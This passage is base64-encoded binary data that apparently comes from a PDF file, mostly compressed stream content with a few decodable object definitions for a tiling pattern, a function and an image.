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 1F3qrnC3uDv/q3tY7F/5VuEhDQplbmRzdHJlYW0NZW5kb2JqDTYgMCBvYmoNPDwvQkJveFswIDAg MzIgMzJdL0xlbmd0aCAzMC9NYXRyaXhbMSAwIDAgMSAwIDg0MS45Ml0vUGFpbnRUeXBlIDEvUGF0 dGVyblR5cGUgMS9SZXNvdXJjZXM8PC9YT2JqZWN0PDwvSW1hZ2U2IDExMyAwIFI+Pj4+L1RpbGlu Z1R5cGUgMi9UeXBlL1BhdHRlcm4vWFN0ZXAgMzIvWVN0ZXAgMzI+PnN0cmVhbQ0KcSAzMiAwIDAg MzIgMCAwIGNtL0ltYWdlNiBEbyBRDQplbmRzdHJlYW0NZW5kb2JqDTcgMCBvYmoNPDwvQml0c1Bl clNhbXBsZSA4L0RlY29kZVswIDEgMCAxIDAgMV0vRG9tYWluWzAgMV0vRW5jb2RlWzAgMTAyMV0v RmlsdGVyL0ZsYXRlRGVjb2RlL0Z1bmN0aW9uVHlwZSAwL0xlbmd0aCAyNy9PcmRlciAxL1Jhbmdl WzAgMSAwIDEgMCAxXS9TaXplWzEwMjJdPj5zdHJlYW0NCnic7cIBCQAAAAKg/p+uH6HYpKqq6vsB hpD6MA0KZW5kc3RyZWFtDWVuZG9iag04IDAgb2JqDTw8L0JpdHNQZXJDb21wb25lbnQgOC9Db2xv clNwYWNlL0RldmljZUdyYXkvRmlsdGVyL0ZsYXRlRGVjb2RlL0hlaWdodCAzMzIvSW50ZXJwb2xh dGUgZmFsc2UvTGVuZ3RoIDk3MzkvTWF0dGVbMCAwIDBdL1N1YnR5cGUvSW1hZ2UvVHlwZS9YT2Jq ZWN0L1dpZHRoIDcxNj4+c3RyZWFtDQp4nO2di5PeVXnH3ex933fvu9nd7G6yl2Tv93vum2STJRcs WrVlpBpCIQSs1hGFFqcTEIhoETvOoAIO16R1qi0I1EGdIYBjqYgo/0BEBeWvsOd++132vWze83t3 vx9tTKDjyG8/88xzvuc553zoQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwU Smx8/88BIGdKssD3/1YA4tCmbqFkozY8B0nAUTgSaA0SjmGe0raUsC5e+/6HA5sFpprpcamgjFDq EF+0Izz3/U8INgtOOdYel5WXl5c5ZO016jQoGMGKzC0mVFSUm8R5HVm/M+1DIDrIBy2Q8LhMluMK RqWC/bG8PEbttZzOMRHx/YlAkWCUZFmRmcaVlVXk34TqKoltdYjaEWbns2SEyyBTbJNZRea1uKqa UaNgfwx67chtCB5SrrNfMkJlkBFWTVadBS3H1OFUTSqV1qRSltW22pbfrtUZluqMlo2+PxlIJkpl 2VsIj5nI6dp0ura2jlDPIL+pJXCrUzUW1RaG2RGFOnbFWBqnMnoREEq4yTW0HNeOnjh54sTJk6dO TUxMNFIaGqTSlLRFykK7Ha50SBqSwbIxK6uh9+ZCdhe8vaAmU5FTqZGzD7z+F5d3CT8nXLp48cKF C+fO3XrriRMnxsbGmNi1NsptWbKNBiRsxRhXsvNYMcLlzUOJ0Sgzk0lvkRoJ8XgtqOevv/76xYvU c6758eOjo6O8ZNvrxixWjNkuG+HypkWUZaIyXfCxmjx8/7tZi7y25q+99tqzzzzzzP333Xcz4dix Y4ODg1Uua64ay7JZMLpy+/7W4CpSwk1mjTKNLqjJI/evs8jx/I5CPCeaP6M0PzowMGBrbVbrTBeM WTUkvn8UID/4T1GozNoLUpMLanI8VPNXX331acK999570003rRw5cmTnzp3BJSOWjZsdVZZpp0y3 RVLr3l1cLX4nPH+KQDU/c+bI4cOH+/v71y/ag8vFg6rKbNHHivJrvhVdF6jmly9fpprfc889N954 I7H8cF9fX5brRbhcPMiqzAYvKqtqUklqL64SVwhE88tPPvkk1/zGQ4cO9UV5DpeLBVWWaatcvSlU jkV4/qTynGh+qLe3FyU76ZSIWFn2F6mN0V9cHYxyfv78+dOEtTSH54WD9xe8Km+gVtkDRjlXmivP ff+YNwWqLHOVR6DyVYBq/sorrzxBEOV8eXm5p6fH9w9/QyGXfaTDqKggKqehcoG5YnkuNIfnOWBE GJWV6JUTRqCcQ/NodLLMqnLqWd8/PZAhKOc2etlXxnPl475/QmA92Izl3IkwUqPFsm8NckVo/oq7 